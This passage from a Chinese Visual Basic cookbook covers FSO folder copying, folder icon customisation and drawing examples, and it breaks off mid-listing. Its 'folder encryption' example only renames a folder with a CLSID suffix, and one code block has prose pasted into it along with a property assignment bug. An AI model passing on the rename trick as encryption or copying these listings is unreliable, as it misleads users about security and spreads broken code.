FileSystemObject对象是FSO模型中的核心对象，在应用程序中使用FSO编程的主要步骤如下。

（1）创建一个FileSystemObject对象。

创建FileSystemObject对象有如下两种方法。

使用New关键字声明一个变量为FileSystemObject对象类型，代码如下：



Dim MyFSO As New FileSystemObject




使用CreateObject方法创建一个FileSystemObject对象，代码如下：



Dim MyFSO As Object
Set MyFSO = CreateObject("Scripting.FileSystemObject")




（2）根据程序的需要，通过调用FileSystemObject对象的方法来创建一个新的对象。

（3）通过读取新对象的属性值来获取用户所需的信息。



 实例532　网络文件夹复制

光盘位置：光盘\MR\17\532

高级

趣味指数：[image: ]




实例说明

可以通过一个小工具将网络服务器上的文件夹复制到客户机，本实例演示的就是这样一个功能。运行程序，在“服务器的文件夹”文本框中输入要复制的服务器文件夹所在的路径，在“复制到客户机”文本框中输入要复制到客户机位置的路径，单击“复制文件夹”按钮开始复制文件夹，如图17.10所示。

[image: ]
图17.10 网络文件夹复制



关键技术

利用文件对象的CopyFolder方法完成从网络中复制文件夹的操作。

CopyFolder方法能够从一个地方递归地复制一个文件夹到另一个地方，语法如下：



object.CopyFolder source, destination[, overwrite]




CopyFolder方法中的参数说明如表17.1所示。

表17.1　CopyFolder方法中的参数说明



	设置值
	描述



	object
	必选参数。始终为一个FileSystemObject的名字



	source
	必选参数。指明一个或多个被复制文件夹的字符串文件夹说明，可以包括通配符



	destination
	必选参数。指明source中被复制文件夹和子文件夹的接收端的字符串，不允许有通配符



	overwrite
	可选参数。Boolean值，它表示已存在的文件夹是否被覆盖。如果为True，文件被覆盖。如果为False，文件不被覆盖。默认值为True




设计过程

（1）新建一个标准工程，创建一个新窗体，设置Picture属性，为窗体添加一幅图片。

（2）在窗体上添加两个Label控件和3个TextBox控件；添加两个CommandButton控件，设置Caption属性分别为“复制文件夹”和“退出”。

（3）主要程序代码如下：



Private Sub Command1_Click()
   If Text1.Text = "" Or Text2.Text = "" Or Text3.Text = "" Then
     MsgBox "请输入文件夹所在的路径和文件夹存放的路径", , "提示信息"
   Else
     Set p_ofso = CreateObject("scripting.filesystemobject")
     On Error Resume Next
     p_ofso.CopyFolder Trim(Text1.Text), Trim(Text2.Text), True
     p_ofso.CopyFolder Trim(Text1.Text), Trim(Text3.Text), True
     MsgBox "文件复制完成", "提示信息"
   End If
End Sub




秘笈心法

心法领悟532：Drive对象及磁盘驱动器小知识。

在FSO对象模型中，驱动器（Drive）对象可以对特定磁盘驱动器或网络共享的属性提供访问。通过Drive对象，可以方便地与系统中的驱动器进行信息交互。其中，驱动器不一定是一个硬盘，可以是一个CD-ROM驱动器、一个RAM等，而且驱动器不一定和系统物理地连接，也可以通过LAN进行逻辑连接。



 实例533　文件夹加密

光盘位置：光盘\MR\17\533

高级

趣味指数：[image: ]




实例说明

在日常生活中可以通过加密文件夹的方法防止文件夹被打开，本实例演示的就是如何加密一个文件夹。运行程序，选中要加密的文件夹之后，单击“加密”按钮，选中的文件夹即被加密，加密后的文件夹如图17.11所示。

[image: ]
图17.11　加密文件夹



关键技术

利用Name语句将选中的文件夹名称修改为原文件夹名称+ .{d6277990-4c6a-11cf-8d87-00aa0060f5bf}（例如，mp3 .{d6277990-4c6a-11cf-8d87-00aa0060f5bf}），即可完成对文件夹的加密。

若想解密文件夹，可在WinRAR压缩软件中选中被加密的文件夹，然后单击鼠标右键，在弹出的快捷菜单中选择“重命名”命令，将文件夹名称后的{d6277990-4c6a-11cf-8d87-00aa0060f5bf}去掉，恢复文件夹原来的名称，即可完成文件夹的解密过程，如图17.12所示。

[image: ]
图17.12　解密文件夹



设计过程

（1）新建一个标准工程，创建一个新窗体。

（2）在窗体上添加一个Frame控件，设置Caption属性为空。

（3）在Frame1控件上添加一个DriveListBox控件和一个DirListBox控件。

（4）在窗体上添加两个CommandButton控件，Caption属性分别设置为“加密”和“退出”。

（5）主要程序代码如下：



Private Sub Command2_Click()
   Name Dir1.List(Dir1.ListIndex) As Dir1.List(Dir1.ListIndex) & 
".{d6277990-4c6a-11cf-8d87-00aa0060f5bf}"
End Sub
Private Sub Drive1_Change()
  Dir1.Path = Drive1.Drive
End Sub




秘笈心法

心法领悟533：二进制文件小知识。

二进制文件是二进制数据的集合。二进制文件的访问与随机文件的访问十分类似，不同的是随机文件是以记录为单位进行读写操作的，而二进制文件则是以字节为单位进行读写操作的。文件中的字节可以代表任何东西。二进制存储密集、控件利用率高，但操作起来不太方便，工作量也很大。



 实例534　用VB设计个性化文件夹

光盘位置：光盘\MR\17\534

高级

趣味指数：[image: ]




实例说明

本实例主要实现了用VB设计个性化文件夹的功能，单击“设置”按钮进行个性文件夹的设置，程序的运行效果如图17.13所示。

[image: ]
图17.13　用VB设计个性化文件夹



关键技术

在指定的文件夹上单击鼠标右键，通过设置“属性”/“自定义”选项卡中“更改图标”选项，可以手动完成更改文件夹图标。更改后，在该文件夹中将会出现一个隐藏的desktop.ini文件。通过这一文件给了笔者一个设计思路：API函数WritePrivateProfileString可以为一个初始化文件（.ini）中指定的小节设置所有项名和值，通过这一函数，可以使用VB创建一个desktop.ini文件，并写入与手动更改文件夹图标所产生的desktop.ini文件一样的信息，那么用Visual Basic设计个性化文件夹图标就成功地完成了，就这么简单。

设计过程

（1）新建一个标准工程。

（2）在工程中添加一个窗体，窗体的名称使用其默认名称，将Caption属性设置为“用VB设计个性化文件夹”，StartUpPosition属性设置为“2-屏幕中心”。

（3）在窗体上添加两个CommandButton控件，使用其默认名称，Caption属性分别设置为“设置”和“退出”。

（4）程序的运行代码如下：



Option Explicit
Private Declare Function WritePrivateProfileString Lib "kernel32" Alias "WritePrivateProfileStringA" (ByVal lpApplicationName As String, ByVal lpKeyName As Any, ByVal lpString As Any, ByVal lpFileName As String) As Long
Private Sub Command1_Click()
  '不存在ini文件时，会自己创建ini
  WritePrivateProfileString ".ShellClassInfo", "IconFile", "%SystemRoot%\system32\SHELL32.dll", App.Path & "\desktop.ini"
  WritePrivateProfileString ".ShellClassInfo", "InfoTip", "我很重要，不要删除我！", App.Path & "\desktop.ini"
  WritePrivateProfileString ".ShellClassInfo", "IconIndex", "24", App.Path & "\desktop.ini"
End Sub




在上述代码中参数InfoTip用来设定文件夹的提示文本，参数IconIndex是图标文件的索引值，参数IconFile用于指定为将要改变的图标文件的位置。

秘笈心法

心法领悟534：顺序文件小知识。

顺序文件就是普通的文本文件，以字符的形式按照先后顺序存储数据。其文件结构简单，占用的磁盘控件较少，访问时要按照顺序逐个查找。
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 18.1　绘制几何图形



 实例535　自定义容器的坐标系统

光盘位置：光盘\MR\18\535

初级

趣味指数：[image: ]




实例说明

对象的坐标系统允许用户自行定义，Scale方法是自定义坐标系统最常用的方法。运行程序，将在窗体上自定义系统坐标，效果如图18.1所示。

[image: ]
图18.1　自定义容器的坐标系统



关键技术

本实例主要是通过使用Scale方法自定义坐标系统和Line方法在窗体上绘制X轴和Y轴来实现的。

首先通过Scale方法自定义坐标系统，该方法是自定义坐标系统最常用的方法，用来定义Form、PictureBox或Printer的坐标系统，语法如下：



object.Scale (xLeft, yTop) - (xRight,yBottom)




参数说明

❶object：对象表达式，对象可以是窗体、图片框或打印机，默认为焦点所在的窗体对象。

❷(xLeft, yTop) ：表示对象的左上角的坐标值。

❸(xRight,yBottom) ：表示对象右下角的坐标值。


说明：
 Line方法的详细讲解请参见实例102中的关键技术。

设计过程

（1）新建一个标准工程。

（2）在工程中添加一个窗体，窗体的名称使用其默认名称，将Caption属性设置为“自定义容器的坐标系统”，StartUpPosition属性设置为“2-屏幕中心”。

（3）主要程序代码如下：



Private Sub Form_Activate()
    Form1.Scale (-100, 100)-(100, -100)                        '自定义坐标系统
    Line (-100, 0)-(300, 0), vbRed                        '画X轴
    Line (0, 100)-(0, -150), vbRed                        '画Y轴
    DrawWidth = 10                                '设置图形的宽度
    Form1.Circle (0, 0), 0, vbRed                            '绘制红色圆心
    CurrentX = 0: CurrentY = 0: Print "(0,0)"                    '圆心处打印圆心标记（0,0）
    CurrentX = 90: CurrentY = 10: Print "X轴"                    '在X轴下方打印X轴标记
    CurrentX = 5: CurrentY = 95: Print "Y轴"                    '在Y轴右侧打印Y轴标记
End Sub




秘笈心法

心法领悟535：坐标系统小知识。

VB中包括标准坐标系统和用户自定义坐标系统两种坐标系。坐标系的坐标单位可以分为Twip、Point、Pixel、Character、Inch、mm、cm和用户自定义8种形式。不同规格的坐标系统只是度量单位和精度改变，坐标轴的长度或者做图区域的大小并不改变。



 实例536　绘制网格

光盘位置：光盘\MR\18\536

高级

趣味指数：[image: ]




实例说明

在使用Photoshop等绘图工具时经常会遇到使用网格的情况，使用这些网格可以给绘图带来很大的方便。本实例介绍如何在程序中实现网格的绘制。运行程序，在文本框中输入要绘制的网格的大小，单击“绘制”按钮即可实现如图18.2所示的效果。

[image: ]
图18.2　绘制网格



关键技术

本实例主要利用PictureBox控件的Line方法来实现。


说明：
 Line方法的详细讲解请参见实例102中的关键技术。

设计过程

（1）新建一个标准工程。

（2）在工程中添加一个窗体，窗体的名称使用其默认名称，将Caption属性设置为“绘制网格”，StartUpPosition属性设置为“2-屏幕中心”。

（3）在窗体上添加两个Label控件，名称使用其默认名称，将Caption属性分别设置为“绘制网格为：”和“×”，BackStyle属性设置为0-Transparent，并设置Font属性。

（4）在窗体上添加两个TextBox控件，名称分别使用其默认名称，将BorderStyle属性设置为0-None，并设置Font属性。

（5）在窗体上添加两个CommandButton控件，名称使用其默认名称，将Caption属性分别设置为“绘制”和“清空”，并设置Font属性。

（6）主要程序代码如下：



Private Sub Command1_Click()                                '绘制
    Dim X, Y, i, j As Integer                                '定义整型变量
    Picture1.Refresh                                    '刷新
    Picture1.AutoRedraw = False                                '返回或设置从图形方法到持久图形的输出
    Picture1.ForeColor = vbWhite                            '设置前景色
    If Txt_H.Text = "" Or Txt_W.Text = "" Or Txt_H.Text = "0" Or Txt_W.Text = "0" Then
        MsgBox "请输入要显示的网格的大小！", vbInformation, "明日图书"
    Else
        X = Int(Picture1.ScaleWidth / Val(Txt_W.Text))                '设置列宽
        Y = Int(Picture1.ScaleHeight / Val(Txt_H.Text))                '设置行宽
        For i = 1 To Val(Txt_H.Text) + 1
            Picture1.Line (X * i, 0)-(X * i, Picture1.Height - 1)            '画竖线
            Picture1.Line (0, Y * i)-(Picture1.Width - 1, Y * i)            '画横线
        Next
    End If
End Sub
Private Sub Command2_Click()                                '清空
    Picture1.AutoRedraw = False                                '返回或设置从图形方法到持久图形的输出
    Picture1.Refresh                                    '刷新
End Sub




秘笈心法

心法领悟536：Line控件和Line方法的异同小知识。

Line控件是图形控件，该控件主要用于修饰窗体和显示直线。可以在窗体或其他容器控件中画出水平线、垂直线或者对角线。



 实例537　绘制立体三棱锥

光盘位置：光盘\MR\18\537

高级

趣味指数：[image: ]




实例说明

利用PictureBox控件的Line方法可以绘制出各种不同的图形，下面介绍利用Line方法绘制三棱锥的立体图形。运行程序，单击“绘制”按钮，程序的运行效果如图18.3所示。

[image: ]
图18.3　绘制立体三棱锥



关键技术

本实例主要利用PictureBox控件的Line方法实现。


说明：
 Line方法的详细讲解请参见实例102中的关键技术。

设计过程

（1）新建一个标准工程。

（2）在工程中添加一个窗体，窗体的名称使用其默认名称，Caption属性设置为“绘制立体三棱锥”，StartUpPosition属性设置为“2-屏幕中心”。

（3）在窗体上添加一个PictureBox控件，名称使用其默认名称，用于作为绘制立体三棱锥的容器。

（4）在窗体上添加两个CommandButton控件，名称使用其默认名称，Caption属性分别设置为“绘制”和“退出”，并设置Font属性。

（5）主要程序代码如下：



Private Sub Form_Load()
    Form1.ScaleMode = 1
    Picture1.ScaleMode = 1
End Sub
Private Sub Command1_Click()
    Call Pyramid(Picture1, 1800, 500)                                '调用过程
End Sub
Private Function Pyramid(Pic As PictureBox, PointX As Integer, PointY As Integer)
    Dim i As Integer                                        '定义整型变量
    Pic.DrawWidth = 1
    Pic.BackColor = RGB(210, 150, 0)                                '设置控件背景色
    Pic.Cls                                                '清除运行时PictureBox所生成的图形和文本
    For i = 0 To 800
        Pic.Line (PointX, PointY + 2.5 * i)-(PointX + i / 2, PointY + 2 * i), RGB(180, 180, 180)
        Pic.Line (PointX, PointY + 2.5 * i)-(PointX - i / 2, PointY + 2 * i), RGB(155, 80, 155)
    Next i
End Function




秘笈心法

心法领悟537：Line控件小知识。

Line控件不具有Move方法，但是可以通过改变X1、X2、Y1、Y2属性来移动直线或者调整直线的大小。BorderStyle属性可以设置直线的样式，而BorderWidth属性可以改变线条的粗细。



 实例538　绘制抛物线

光盘位置：光盘\MR\18\538

高级

趣味指数：[image: ]




实例说明

抛物线是经常使用的数学曲线之一，本实例利用PSet方法在PictureBox控件上绘制抛物线。其数学方程 式为：[image: ]
 。运行程序，单击“绘制”按钮，即可在PictureBox控件中绘制抛物线，完成后的效果如图18.4所示。

[image: ]
图18.4　绘制抛物线



关键技术

本实例的实现主要是通过使用PictureBox控件的PSet方法将对象上的点设置为指定的颜色。PictureBox控件的PSet方法主要用于将对象上的点设置为指定颜色，语法如下：



object.PSet [Step] (x, y), [color]




PSet方法的参数说明如表18.1所示。

表18.1 PSet方法的参数说明



	参数
	说明



	object
	可选参数。对象表达式



	Step
	可选参数。关键字，指定相对于由CurrentX和CurrentY属性提供的当前图形位置的坐标



	(x,y)
	必选参数。Single（单精度浮点数），被设置点的水平（x轴）和垂直（y轴）坐标



	color
	可选参数。Long（长整型数），为该点指定的RGB颜色。如果它被省略，则使用当前的ForeColor属性值。可用RGB函数或QBColor函数指定颜色




设计过程

（1）新建一个标准工程。

（2）在工程中添加一个窗体，窗体的名称使用其默认名称，将Caption属性设置为“绘制抛物线”，StartUpPosition属性设置为“2-屏幕中心”。

（3）在窗体上添加一个PictureBox控件，名称使用其默认名称。

（4）在窗体上添加两个CommandButton控件，名称使用其默认名称，将Caption属性分别设置为“绘制”和“关闭”，并设置Font属性。

（5）主要程序代码如下：



Option Explicit
Const PI = 3.14159265                                            '定义常量
Dim a                                                        '定义变量
Private Sub Command1_Click()
    Picture1.Cls                                                '清空
    Picture1.ScaleMode = 3                                        '设置为像素
    Picture1.Scale (-20, 30)-(20, -10)                                    '坐标原点在Picture1中心
    Picture1.DrawWidth = 1                                        '设置绘线宽度
    Picture1.Line (-20, 0)-(20, 0), RGB(0, 0, 255)                            '绘制X轴
    Picture1.Line (0, 30)-(0, -10), RGB(0, 0, 255)                            '绘制Y轴
    '指定位置显示原点O
    Picture1.CurrentX = 1
    Picture1.CurrentY = -1
    Picture1.DrawWidth = 2                                        '重设绘线宽度
    '用For循环绘点，使其按抛物线规律变化。步长值很小，使之形成动画效果
    For a = -15 To 15 Step PI / 6000
        Picture1.PSet (a, a * a / 8), RGB(255, 0, 0)
    Next a
End Sub




秘笈心法

心法领悟538：PSet方法小知识。

利用PSet方法将对象上的点设置为指定颜色。所画点的尺寸取决于DrawWidth属性值。当DrawWidth为1时，PSet将一个像素的点设置为指定颜色。当DrawWidth大于1时，则点的中心位于指定坐标。执行PSet时，CurrentX和CurrentY属性被设置为参数指定的点。

PSet方法还可以用于清除单一像素，规定该像素的坐标，并用BackColor属性设置作为color参数即可。这个方法不能用在With…End With语句块中。



 实例539　利用Line控件设计分割线

光盘位置：光盘\MR\18\539

高级

趣味指数：[image: ]




实例说明

在进行窗体设计时，经常使用Frame控件来将信息分门别类。本实例介绍利用两个Line控件设计的分割线，将两个Line控件设置为不同的颜色，显示时错开一些位置，就会得到如图18.5所示的效果。

[image: ]
图18.5　利用Line控件设计分割线



关键技术

本实例主要是通过使用Line控件的属性来实现分割线的设计。Line控件是图形控件，利用该控件可以在窗体或其他容器控件中画出水平线、垂直线或者对角线。Line控件的常用属性说明如表18.2所示。

表18.2 Line控件的常用属性



	属性
	描述



	BorderColor
	返回或设置控件的边框颜色



	BorderStyle
	返回或设置控件的边框样式



	BorderWidth
	返回或设置控件边框的宽度



	DrawMode
	返回或设置一个值，用于决定图形方法的输出外观或者Line控件的外观



	X1、Y1、X2、Y2
	返回或设置Line控件的起始点（X1, Y1）和终止点（X2, Y2）的坐标。水平坐标是X1和X2；垂直坐标是Y1和Y2




设计过程

（1）新建一个标准工程。

（2）在工程中添加一个窗体，窗体的名称使用其默认名称，将Caption属性设置为“利用Line控件设计分割线”，StartUpPosition属性设置为“2-屏幕中心”。

（3）在窗体上添加两个Line控件，名称使用其默认名称。

（4）主要程序代码如下：



Private Sub Form_Load()
    With Line1
        .BorderColor = &H808080                            '设置控件的边框颜色
        .X1 = 0: .X2 = 5000                                'Line控件的起始点
        .Y1 = 1100: .Y2 = 1100                                'Line控件的终止点
    End With
    With Line2
        .BorderColor = vbWhite                                '设置控件的边框颜色
        .BorderWidth = 2                                    '设置控件边框的宽度
        .X1 = Line1.X1: .X2 = Line1.X2                        'Line控件的起始点
        .Y1 = Line1.Y1 + 20: .Y2 = Line1.Y1 + 20                    'Line控件的终止点
    End With
    Line1.ZOrder 0                                        '将Line1控件设置到顶层
End Sub




秘笈心法

心法领悟539：表达式小知识。

表达式是Visual Basic程序设计中基本的语法单位，是由“操作数”与“运算符”组成的有运算意义的式子。表达式可用于执行运算、处理字符（操作字符）或测试数据。



 实例540　绘制正方形

光盘位置：光盘\MR\18\540

高级

趣味指数：[image: ]




实例说明

绘制几何图形在多媒体教学中经常会用到，本实例演示的是如何动态地绘制一个正方形图案。运行程序，系统将自动绘制一个正边形，效果如图18.6所示。

[image: ]
图18.6 绘制正方形



关键技术

本实例主要是通过在Timer控件中动态地控制Line控件的X1、Y1、X2、Y2属性来控制绘制正方形的各边长，实现动态绘制正方形的功能。

Line控件的X1、Y1、X2、Y2属性返回或设置Line控件的起始点（X1,Y1）和终止点（X2, Y2）的坐标。控件的水平坐标是X1和X2；垂直坐标是Y1和Y2，语法如下：



object.X1 [= value]
object.Y1 [= value]
object.X2 [= value]
object.Y2 [= value]




参数说明

object：对象表达式。

设计过程

（1）新建一个标准工程。

（2）在工程中添加一个窗体，窗体的名称使用其默认名称，将Caption属性设置为“绘制正方形”，StartUpPosition属性设置为“2-屏幕中心”。

（3）在窗体上添加4个Line控件，名称使用其默认名称，设置其Visible属性为False。

（4）在窗体上添加一个Timer控件，名称使用其默认名称，将Enabled属性设置为True，Interval属性设置为100。

（5）主要程序代码如下：



object.X1 [= value]
object.Y1 [= value]
object.X2 [= value]
object.Y2 [= value]
    参数说明
    object：对象表达式。
    （1）新建一个标准工程。
    （2）在工程中添加一个窗体，窗体的名称使用其默认名称，将Caption属性设置为“绘制正方形”，StartUpPosition属性设置为“2-屏幕中心”。
    （3）在窗体上添加4个Line控件，名称使用其默认名称，设置其Visible属性为False。
    （4）在窗体上添加一个Timer控件，名称使用其默认名称，将Enabled属性设置为True，Interval属性设置为100。
    （5）主要程序代码如下：
Private Sub Timer1_Timer()
  Line1.Visible = True
  Line1.X1 = 360
  Line1.Y1 = 360
  Line1.Y2 = 360
  If Line1.X2 > 2280 Then
      Line2.Visible = True
      Line2.X1 = 2280
      Line2.X2 = 2280
      Line2.Y1 = 360
         If Line2.Y2 > 2280 Then
             Line3.Visible = True
             Line3.X1 = 2280
             Line3.Y1 = 2280
             Line3.Y2 = 2280
               If Line3.X2 < 360 Then
                    Line4.Visible = True
                    Line4.X1 = 360
                    Line4.X1 = 360
                    Line4.Y2 = 2280
                       If Line4.Y1 <= 360 Then
                           Timer1.Enabled = False
                       Else
                           Line4.Y1 = Line4.Y1 - 20
                       End If
               Else
                   Line3.X2 = Line3.X2 - 20
               End If
          Else
                 Line2.Y2 = Line2.Y2 + 20
          End If
  Else
      Line1.X2 = Line1.X2 + 20
  End If
End Sub




秘笈心法

心法领悟540：Line控件的用法小知识。

Line控件和Line方法都可以用来在窗体上绘制直线，但是如果将窗体的AutoRedraw属性设置为False，则Line方法必须通过Refresh方法才能显示出来。而Line控件总是能够显示在窗体上，除非将Visible属性设置为False。



 实例541　绘制正弦曲线

光盘位置：光盘\MR\18\541

中级

趣味指数：[image: ]




实例说明

在多媒体教学时，经常需要动态地画出各种曲线进行教学演示，以加深学生对知识的理解。本实例实现的是动态绘制一条正弦曲线。运行程序，单击“演示”按钮，系统将自动绘制正弦曲线，单击“停止”按钮，则停止绘制，效果如图18.7所示。

[image: ]
图18.7　绘制正弦曲线



关键技术

本实例的实现主要是通过在模块中声明相应的API函数，然后在Timer控件中调用相关的API函数完成绘制正弦曲线的功能。通过调整Timer控件的Interval属性值可以实现控制绘制正弦曲线的速度。

程序中首先利用API函数SetPixelV给绘制的正弦曲线设置一个颜色值，然后通过MoveToEx和LineTo两个API函数来完成绘制正弦曲线的功能。

（1）SetPixelV函数

该函数用于在指定的设备场景中设置一个像素的RGB值，语法如下：



Public Declare Function SetPixelV Lib "gdi32" (ByVal hdc As Long, ByVal X As Long, ByVal Y As Long, ByVal crColor As Long) As Long




参数说明

❶hdc：一个设备场景的句柄。

❷X，Y：要设置的点，用逻辑坐标表示。

❸crColor：指定像素的新RGB颜色值。

（2）MoveToEx函数

该函数用于为指定的设备场景指定一个新的当前画笔位置。原先的画笔位置被保存在lpPoint中，语法如下：



Public Declare Function MoveToEx Lib "gdi32" (ByVal hdc As Long, ByVal X As Long, ByVal Y As Long, lpPoint As Any) As Long




参数说明

❶hdc：指向一个设备场景的句柄。

❷X，Y：采用逻辑坐标表示的新画笔位置。

❸lpPoint：用于保存前一个画笔的位置。可以为Null（将参数改为ByVal As Long，以传递一个空参数）。

（3）LineTo函数

该函数用于用当前画笔画一条线，从当前位置连接到一个指定的点。这个函数调用完毕，当前位置变成指定点，语法如下：



Public Declare Function LineTo Lib "gdi32" (ByVal hdc As Long, ByVal X As Long, ByVal Y As Long) As Long




参数说明

❶hdc：设备场景的句柄。

❷X，Y：线段终点位置，采用逻辑坐标表示。这个点不会实际画出来；它不属于线段的一部分。

设计过程

（1）新建一个标准工程。

（2）在工程中添加一个窗体，将窗体的名称设置为frmMain，Caption属性设置为“绘制正弦曲线”，StartUpPosition属性设置为“2-屏幕中心”。

（3）在窗体上添加一个PictureBox控件，名称使用其默认名称，用于显示绘制的正弦曲线。

（4）在窗体上添加一个Timer控件，名称分别使用其默认名称，将Enabled属性设置为False，Interval属性设置为10。

（5）在窗体上添加两个CommandButton控件，名称使用其默认名称，将Caption属性分别设置为“演示”和“停止”，并设置Font属性。

（6）主要程序代码如下：



Private Sub Command1_Click()
    Timer1.Enabled = True
End Sub
Private Sub Timer1_Timer()
    Dim S As Currency, E As Currency
    QueryPerformanceCounter S
    Dim Y As Single
    Static X As Long
    Y = (H / 2) * Sin(1 * Rad(X) + Rad(0))
    X = X + 1
    If X >= 360 Then X = 0
    SetPixelV MemDC, ScreenW - 2, (H / 2) - Y, vbRed
    MoveToEx MemDC, 0, (H / 2), Null
    LineTo MemDC, ScreenW - 2, (H / 2)
    If X = 1 Or X Mod 180 = 0 Then
        MoveToEx MemDC, ScreenW - 2, 0, Null
        LineTo MemDC, ScreenW - 2, H
    End If
    BitBlt MemDC, -1, 0, ScreenW, H, MemDC, 0, 0, SRCCOPY
    BitBlt Picture1.hdc, W - ScreenW, 0, ScreenW, H, MemDC, 0, 0, SRCCOPY
    Picture1.Refresh
    QueryPerformanceCounter E
    Timing "Timer Tick", 1000 * (CDbl(E) - CDbl(S)) / CDbl(Freq)
End Sub




秘笈心法

心法领悟541：窗体和控件的BackColor属性小知识。

对所有的窗体和控件，在设计时将BackColor属性设置为由常数vbWindowBackground定义的系统默认颜色；ForeColor属性设置为由常数vbWindowText定义的系统默认颜色。

如果在Form对象或PictureBox控件中设置BackColor属性，则所有的文本和图片（包括指定的图片），都被擦除；而设置ForeColor属性值则不会影响已经绘出的图片或打印输出的效果。


 18.2　绘制图案



 实例542　绘制艺术图案

光盘位置：光盘\MR\18\542

高级

趣味指数：[image: ]




实例说明

在应用软件的启动界面或主界面当中，可以在窗体上绘制艺术图案以增强软件界面的美观性，本实例演示的是绘制一个漂亮的艺术图案。运行程序，在“圆心”处的两个文本框中输入圆心的横坐标及纵坐标值；然后在“半径”文本框中设置圆的半径；在“圆的个数”文本框中输入要绘制的圆的个数，单击“绘图”按钮即可根据所设置的数据绘制出一个漂亮的艺术图案，效果如图18.8所示。

[image: ]
图18.8　绘制艺术图案



关键技术

本实例主要是通过PictureBox控件的Scale方法初始化绘图环境，将Picture1控件定制成一个中心点坐标为（0,0）的坐标系，然后利用PictureBox控件的Circle方法绘制图形。

（1）Scale方法

PictureBox控件的Scale方法用于定义坐标系统，语法如下：



object.Scale (x1, y1) - (x2, y2)




参数说明

❶object：可选参数。一个对象表达式。

❷x1, y1：均为单精度值，指示定义object左上角的水平（x轴）和垂直（y轴）坐标。这些值必须用括号括起来。如果省略，则第二组坐标也必须省略。

❸x2, y2：均为单精度值，指示定义object右下角的水平和垂直坐标。这些值必须用括号括起。如果省略，则第一组坐标也必须省略。

（2）Circle方法

PictureBox控件的Circle方法用于在对象上绘制圆、椭圆或弧，语法如下：



object.Circle [Step] (x, y), radius, [color, start, end, aspect]




Circle方法中的参数说明如表18.3所示。

表18.3 Circle方法中的参数说明



	参数
	说明



	object
	可选参数。对象表达式



	Step
	可选参数。关键字，指定圆、椭圆或弧的中心，它们相对于当前object的CurrentX和CurrentY属性提供的坐标



	(x, y)
	必选参数。数据类型为Single（单精度浮点数），用于设置圆、椭圆或弧的中心坐标。object的ScaleMode属性决定了使用的度量单位



	radius
	必选参数。数据类型为Single（单精度浮点数），用于设置圆、椭圆或弧的半径。object的ScaleMode属性决定了使用的度量单位



	color
	可选参数。数据类型为Long（长整型数），用于设置圆的轮廓的RGB颜色。如果它被省略，则使用ForeColor属性值。可用RGB函数或QBColor函数指定颜色



	start, end
	可选参数。数据类型为Single（单精度浮点数），当弧、部分圆或椭圆画完以后，start和end指定（以弧度为单位）弧的起点和终点位置。其范围从-2 pi～2 pi。起点的默认值为0；终点的默认值为2 * pi



	aspect
	可选参数。数据类型为Single（单精度浮点数），设置圆的纵横尺寸比。默认值为1.0，它在屏幕上都产生一个标准圆（非椭圆）




设计过程

（1）新建一个标准工程。

（2）在工程中添加一个窗体，窗体的名称使用其默认名称，将Caption属性设置为“绘制艺术图案”，StartUpPosition属性设置为“2-屏幕中心”。

（3）在窗体上添加一个PictureBox控件，名称使用其默认名称，用来显示所绘制的艺术图案，设置ForeColor属性为&H00C000C0&。

（4）在窗体上添加3个Label控件，名称分别使用其默认名称，分别设置Caption属性为“圆心：”、“半径：”、“圆的个数：”，将BorderStyle属性设置为0-None，并设置Font属性。

（5）在窗体上添加4个TextBox控件，名称使用其默认名称，分别用于设置所要绘制图形的圆心的横坐标、纵坐标、半径及圆的个数，并设置Font属性。

（6）在窗体上添加一个CommandButton控件，名称使用其默认名称，将Caption属性设置为“绘图”，并设置Font属性。

（7）主要程序代码如下：



Private Sub Command1_Click()
    Dim x, y As Integer
    Dim i, j As Integer
    Dim th As Single
    Dim X0, Y0, R, N, r1 As Integer
    X0 = Val(TextX.Text)
    Y0 = Val(TextY.Text)
    R = Val(TextR.Text)
    N = Val(TextN.Text)
    th = 3.1415926 * 2 / N
    Picture1.Cls
    For i = 0 To N
        x = R * Cos((i - 1) * th)
        y = R * Sin((i - 1) * th)
        r1 = Abs(x)
        Picture1.Circle (x, y), r1
    Next
End Sub
Private Sub Form_Load()
    '初始化绘图环境将Picture1定制成一个中心点坐标为(0,0)的坐标系
    Picture1.Scale (-200, 200)-(200, -200)
End Sub




秘笈心法

心法领悟542：Scale方法的使用小知识。

Scale方法使用户能够将坐标系统重置到所选择的任意刻度。Scale对运行时的图形语句以及控件位置的坐标系统都有影响。如果使用不带参数的Scale（两组坐标都省略），坐标系统将重置为缇。



 实例543　万花筒

光盘位置：光盘\MR\18\543

高级

趣味指数：[image: ]




实例说明

万花筒可以显示出各种各样的图案，本实例介绍在VB中设置实现具有万花筒效果的图案。这里主要利用Line函数和Timer控件，在窗体上用随机的颜色绘制出随机的图形，如图18.9所示。

[image: ]
图18.9　万花筒



关键技术

本实例主要利用PictureBox控件的Line方法来实现。


说明：
 Line方法的详细讲解请参见实例102中的关键技术。

设计过程

（1）新建一个标准工程。

（2）在工程中添加一个窗体，窗体的名称使用其默认名称，将Caption属性设置为“万花筒”，StartUpPosition属性设置为“2-屏幕中心”。

（3）在窗体上添加一个Timer控件，名称使用其默认名称，将Enabled属性设置为True，Interval属性设置为300。

（4）主要程序代码如下：



Option Explicit
Dim R1 As Integer                                        '大圆半径
Dim R2 As Integer                                        '小圆半径
Dim S As Integer                                        '小圆上任意一点到圆心的距离
Const PI = 3.14159265                                    '定义常量圆周率
Dim Xt, Yt, W, H As Long                                    'Xt,Yt定义为小圆上一点坐标，W,H大圆圆心坐标
Dim a1, a2 As Long                                        'a1定义为大圆角度，a2定义为小圆角度
Dim TempX, TempY As Long
Private Sub Form_Load()
    R1 = 2400
    R2 = 700
    W = Me.Width / 2 - 10
    H = Me.Height / 2 - 10
    Me.Cls
    R1 = 2400
    R2 = 700
    S = 340
    W = Me.Width / 2
    H = Me.Height / 2
    Randomize
    Me.ForeColor = Int(65535 * Rnd + 1)
    TempX = W - (R1 - R2 + S)
    TempY = H
End Sub
Private Sub Timer1_Timer()
    On Error Resume Next                                    '出错处理
    Dim i As Integer                                    '定义变量
    Me.Cls                                            '清除
    Randomize                                        '随机函数
    Me.ForeColor = Int(65535 * Rnd + 1)                        '设置前景色
    R2 = (R1 - 10) * Rnd                                    '循环增量
    S = (R2 - 2) * Rnd
    TempX = W - (R1 - R2 + S)
    TempY = H
    For i = 1 To 20000
        a1 = (PI / 360) * i
        a2 = (R1 / R2) * a1
        Xt = -(R1 - R2) * Cos(a1) - S * Cos(a2 - a1) + W
        Yt = (R1 - R2) * Sin(a1) - S * Sin(a2 - a1) + H
        Me.Line (TempX, TempY)-(Xt, Yt)
        TempX = Xt
        TempY = Yt
